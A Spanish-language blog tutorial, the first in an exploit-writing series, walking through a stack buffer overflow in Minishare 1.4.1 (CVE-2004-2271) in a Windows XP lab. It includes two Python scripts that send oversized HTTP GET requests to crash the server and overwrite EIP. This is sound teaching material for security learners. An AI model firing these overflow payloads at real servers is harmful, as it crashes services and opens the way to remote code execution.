Taller de iniciación al exploiting: desbordamiento de pila (1) - sobrescribiendo el EIP

En 1996 un tal Elias Levy (también conocido como Aleph One y el que fuera webmaster de underground.org y moderador de la lista Bugtraq) publicó en el número 49 del mítico ezine Phrack el paper "Smashing the Stack For Fun & Profit" que popularizó la vulnerabilidad de desbordamiento de búfer de pila.

Con el paso del tiempo han ido surgiendo diversas protecciones contra esta vulnerabilidad como ASLR, DEP o NX, pero la técnica para explotarla sigue siendo básicamente la misma: se trata de escribir más datos en un búfer de la pila de los que tiene asignado (longitud fija), corrompiendo los datos adyacentes de tal manera que es posible inyectar código ejecutable en el programa que está corriendo y tomar control del proceso.

Si queréis repasar un poco la teoría os recomiendo echar un vistazo al artículo original "Smashing the Stack For Fun & Profit", o al reditado en Whiskey Tango Foxtrot también sintetizado en castellano en el blog de elhacker.net por el-brujo.
En nuestro caso y con permiso de Antonio Pérez, vamos a repetir los ejercicios del taller "Palizón a la pila" de la pasada edición de la Navaja Negra. De esta manera y con unos sencillos pasos veréis desde el bloqueo inicial del programa por el primer desbordamiento hasta la ejecución intencionada del shellcode, una excelente manera de adentrarse en el mundo del exploiting.

El software que explotaremos es la versión 1.4.1 de Minishare, un pequeño servidor web para compartir ficheros de forma sencilla escrito en MinGW (C/C++) y que funciona en Windows. A la vulnerabilidad se le asignó el CVE-2004-2271 y se trata de un desbordamiento de búfer de pila que se provoca mediante una petición HTTP GET larga.

Para instalar el laboratorio necesitaremos:

- Windows XP SP1 (es un S.O. obsoleto pero para las prácticas de BoF viene genial)
- Immunity Debugger con el script Mona script:
  . http://debugger.immunityinc.com/ID_register.py
  . https://github.com/corelan/mona
- Minishare 1.4.1 instalado en el WinXP
  . https://www.dropbox.com/s/zhivgb79wtbce37/minishare-1.4.1.exe?dl=0

Nada más ejecutar la aplicación de Minishare el servidor se levantará en el puerto 80:


Una vez que tenemos el servidor corriendo, abrimos el depurador Inmunity para analizar el estado de la pila y el valor de registros como el EIP (puntero de instrucción) y el ESP (puntero de pila). También podremos analizar qué sucede cuando la aplicación se ejecuta o falla.


Como se muestra anteriormente, hemos adjuntado el proceso de Minishare en el depurador. Tan pronto como se adjunta el proceso, el depurador toma el control de la ejecución del programa y el proceso se detiene. Podemos presionar F9 para reanudar la ejecución del programa.


Ya estamos listos para fuzzear la aplicación. Como hemos comentado antes, Minishare es vulnerable a solicitudes HTTP GET largas lo que significa que podemos desencadenar la vulnerabilidad enviando una solicitud GET como esta:

GET <lista larga de caracteres> HTTP/1.1 <nueva línea><retorno de carro><nueva línea><retorno de carro>
   
Lo que sería algo así:

GET AAAAA… HTTP/1.1\r\n\r\n

Lo primero que haremos será intentar inundar el espacio asignado al proceso para sobrescribir el EIP. Si dibujamos la representación de la pila:


Para ello y mediante un sencillo script en Python (2.7.5 ) mandamos una petición GET que escribirá 500 letras 'A' (representadas en ASCII por \x41) en el buffer de la aplicación. Cada letra representa una estructura de tipo char que ocupa 1 byte. Por tanto se estarán escribiendo 500 bytes en el buffer de la aplicación.

EXPLOIT A
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET "
buff+="\x41" * 500
buff+=" HTTP/1.1\r\n\r\n"

s.send(buff)
s.close()

Sin embargo, si ejecutamos el script anterior no obtenemos ningún comportamiento anómalo. Por lo que en el siguiente subiremos el número de caracteres de 500 a 2000:

EXPLOIT B
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET "
buff+="\x41" * 2000
buff+=" HTTP/1.1\r\n\r\n"

s.send(buff)
s.close()

Ahora al ejecutarlo si conseguimos crashear la aplicación o, lo que es lo mismo, hemos conseguido inundar el stack ("smash the stack"):


Como se muestra en el depurador, el registro EIP y ESP se han sobrescrito con nuestro buffer de entrada de A's.

Recordar que el registro EIP tiene una importancia significativa para nosotros ya que la CPU decide qué instrucción ejecutar leyendo su valor y ejecutando la instrucción que se encuentra en esa dirección de memoria. Es decir, al controlar el EIP, podemos controlar el flujo de ejecución de la aplicación.

Lo siguiente será ir dando forma a nuestro exploit para que podamos sobrescribir el EIP con el valor necesario para desviar el flujo de ejecución hacia el shellcode que colocaremos más adelante en la memoria. Pero eso lo veremos en la siguiente entrada de esta pequeña serie...



Taller de iniciación al exploiting: desbordamiento de pila
1.- sobrescribiendo el EIP
2.- controlando el flujo de la aplicación
3.- "acomodando" el espacio para nuestro payload
4.- ejecución del shellcode

Comentarios